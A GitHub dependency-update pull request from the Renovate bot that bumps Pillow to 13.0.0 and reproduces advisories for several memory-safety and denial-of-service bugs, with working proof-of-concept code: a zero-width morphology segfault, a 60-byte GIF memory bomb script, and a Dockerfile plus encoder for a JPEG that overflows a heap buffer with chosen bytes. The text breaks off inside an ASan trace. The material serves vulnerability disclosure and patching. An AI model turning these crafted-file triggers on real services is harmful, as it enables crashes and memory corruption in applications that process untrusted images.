Skip to content

chore(dependencies): update dependency pillow to v13 [security] - #265

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pillow-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pillow-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pillow (changelog) ==12.3.0 → ==13.0.0 age confidence

Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)

CVE-2026-112395 / GHSA-462x-pgg6-55fp

More information

Details

Summary

Pillow's libImaging _decodeTile decoder, used to decode tiled TIFF images, allocates a per-tile buffer using realloc(state->buffer, TIFFTileSize(tiff)). After each TIFFReadTile it then iterates tile_y from 0 up to current_tile_length and calls the configured row unpacker (here copy4) with the source pointer state->buffer + tile_y * row_byte_size. When libtiff returns a tile_bytes_size smaller than the worst-case row_byte_size * tile_length, the inner stride-and-copy loop walks past the realloc'd region and copy4 performs a 1024-byte memcpy that reads up to (tile_length-1) * row_byte_size + row_byte_size bytes from a buffer sized only to tile_bytes_size. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.

Details

Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the _decodeTile path. The function:

  1. Asks libtiff for TIFFTileSize(tiff) (the bytes-per-tile) and TIFFTileRowSize(tiff) (the bytes per row as stored by libtiff).
  2. Reallocates state->buffer to exactly tile_bytes_size.
  3. For each tile origin (x, y) and each plane, calls TIFFReadTile into state->buffer, then walks the tile row by row, calling the configured ImagingShuffler (here copy4) on each row's worth of source bytes.

The validation done before the loop is:

if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
    state->errcode = IMAGING_CODEC_BROKEN;
    return -1;
}

This rejects oversized libtiff tiles, but it does not reject undersized ones — i.e. the case where libtiff returns a tile_bytes_size strictly less than row_byte_size * tile_length. The loop body, however, indexes into the buffer assuming the buffer is at least row_byte_size * tile_length bytes long.

Vulnerable Code
// src/libImaging/TiffDecode.c:446-490 — _decodeTile
new_data = realloc(state->buffer, state->bytes);   // bytes = tile_bytes_size
if (!new_data) { ... }
state->buffer = new_data;

for (y = state->yoff; y < state->ysize; y += tile_length) {
    for (plane = 0; plane < planes; plane++) {
        ImagingShuffler shuffler = unpackers[plane];
        for (x = state->xoff; x < state->xsize; x += tile_width) {
            if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... }

            current_tile_width  = min((INT32)tile_width,  state->xsize - x);
            current_tile_length = min((INT32)tile_length, state->ysize - y);
            for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                shuffler(
                    (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                    state->buffer + tile_y * row_byte_size,   // <-- OOB stride
                    current_tile_width
                );
            }
        }
    }
}
// src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site)
static void
copy4(UINT8 *out, const UINT8 *in, int pixels) {
    /* RGBA, CMYK quadruples */
    memcpy(out, in, 4 * pixels);   // <-- ASAN-detected READ here
}

The PoC's tile metadata yields tile_width = tile_length = 256, row_byte_size = 1024 (4 bytes/pixel × 256 pixels), and tile_bytes_size = 196608 (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates tile_y from 0 to 255 and for the highest rows the source pointer state->buffer + tile_y * 1024 already lies at or past offset 196608 — the very last row's memcpy(in=buffer+255·1024, 1024) reads 1024 bytes starting 260096 - 196608 = 63488 bytes past the allocation; ASAN flags the very first byte past the heap region (READ of size 1024 at … 0 bytes after 196608-byte region).

The mismatch is real: libtiff's TIFFTileSize returns the packed per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than row_byte_size × tile_length), while the inner loop strides as if the buffer always equals row_byte_size × tile_length.

Attribution

This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

CVE-2026-112397 / GHSA-58r4-6rv3-gfh8

More information

Details

Summary

A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.

Details

The PPM parser reads width and height with no lower-bound check:

  • src/PIL/PpmImagePlugin.py:119

The native apply() writes the row edges with no guard that the width is positive:

  • src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;

match() and get_on_pixels() use the same edge-indexing pattern.

PoC
from PIL import Image, ImageMorph

##### A width-0 image (also producible from a crafted PPM header). apply() indexes

##### outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)

Run it:

$ python 03_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #&#8203;0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply

With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

Impact

Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS

CVE-2026-112400 / GHSA-65qm-jvmh-6pqg

More information

Details

============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile._seek() lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only after storing it on the object:

##### src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) raises
DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS
(178 956 970 px by default), but by then self._size already holds the rejected
value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls
back on EOFError, and _seek(0) only ever grows _size. The object that the
application still holds therefore reports im.size == (40000, 40000) while
im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (GifImagePlugin.py:383 and :407),
which call _decompression_bomb_check(dispose_size) before the corresponding
Image.core.fill(), and TiffImagePlugin.load_prepare()
(src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before
allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from im.size rather than
from the C buffer:

  • Retrying im.seek(1). The failed _seek left self.__offset == 0 and the
    file pointer just past the 9-byte descriptor, so the retry parses whatever
    follows — in the file above, a valid 1×1 frame — and succeeds. im.load()
    then runs GifImageFile.load_prepare():
    # src/PIL/GifImagePlugin.py:452-456
    elif self.mode in ("RGB", "RGBA"):
        self._prev_im = self.im
        if self._frame_palette:
            self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
    which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a
    1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second
    one and converts it to RGB (another 1.6 GB + 6.4 GB).
  • im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the
    common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate
    from im.size as well (measured on an object poisoned to 20000×20000:
    rotate(45, expand=True) completes and touches 776 MiB;
    Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass
    im.size as a box against the real buffer (thumbnail, resize, save)
    fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be
pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA"
storage), 96× the error threshold.

n_frames / is_animated are not affected: they call
_seek(frame, update_image=False), which skips the _size assignment (the file
above reports n_frames == 2, is_animated == True and leaves im.size at
1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames
and (b) catches the exception from seek() — a broad except Exception around
a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit
except DecompressionBombError: log and continue — and then keeps using the
same Image object, ends up driving allocations of 1.6 GB to tens of GB from a
60-byte file: MemoryError after the process has committed gigabytes, or an
OOM kill of the worker when no address-space limit is set. The
MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected
dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path:
Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates
the error out of the for statement (a try inside the loop body does not
swallow it). Hence low severity. This is adjacent to the GIF extent bomb check
added for CVE-2022-45198: the ordering was introduced with that check in
c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first
released in Pillow 9.2.0. Before it, the same size growth happened with no
check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs
about 1.7 GB of free RAM.

  1. setup_env() caps the process address space at 3 GiB with
    RLIMIT_AS, so the oversized allocations end in MemoryError instead of
    the OOM killer. It then opens the 60-byte GIF shown above, built in memory
    by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so
    Image.open() passes its own bomb check. Next comes a bare frame-1 image
    descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error
    threshold). A real 1×1 frame follows it.
  2. poc() calls im.seek(1) and catches DecompressionBombError, the way
    an application that skips bad frames would.
  3. First check: the state is inconsistent. The script prints im.size next
    to the real pixel buffer im.im.size. If the rejected frame had left the
    object unchanged, both would be (1, 1). On the affected code im.size is
    (40000, 40000).
  4. Second check: memory use. The script retries im.seek(1), which now
    parses the trailing 1×1 frame, and calls im.load(). It prints the
    process's peak RSS before and after. load_prepare() sizes its
    Image.core.fill() from im.size, so loading a single pixel fills a
    1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

The script prints BUG only if both checks hold: the over-limit size stayed
on the object after the exception, and peak RSS grew by more than 1000 MiB
while loading a 1×1 frame. Otherwise it prints OK. With the attached patch
applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the
last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile._seek()
(src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a
local, passed to _decompression_bomb_check(), and only then assigned to
self._size, matching the order of the two dispose_size checks further down
the same function. A rejected frame therefore leaves the object in its pre-seek
state; valid files behave as before, and the exception is still raised at the
same point:

--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated go through update_image=False and are unaffected.
The patch also extends test_exception_gif_extents in
Tests/test_decompression_bomb.py to assert that im.size is unchanged after
the DecompressionBombError. It does not change seek() itself; optionally,
seek() could also treat DecompressionBombError like EOFError and re-seek
to last_frame, so that a retried seek() does not resume parsing from the
middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)
 
+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]
The reproducer
Reproducer — repro, 2,474 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
##### GifImageFile._seek() stores a frame's enlarged size in self._size and only

##### *then* runs the decompression-bomb check. The check raises, but the object
##### keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the

##### next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS

def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )

def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024

def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im

def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False

im = setup_env()
raised = poc(im)

##### Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

##### Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its

##### buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap buffer overflow in ImagingJpegDecode

CVE-2026-112403 / GHSA-8g5g-8vmr-9782

More information

Details

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

##### --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

##### --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer

class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)

##### Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()

def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows

def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #&#8203;0 __asan_memcpy
    #&#8203;1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #&#8203;2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #&#8203;3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #&#8203;4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
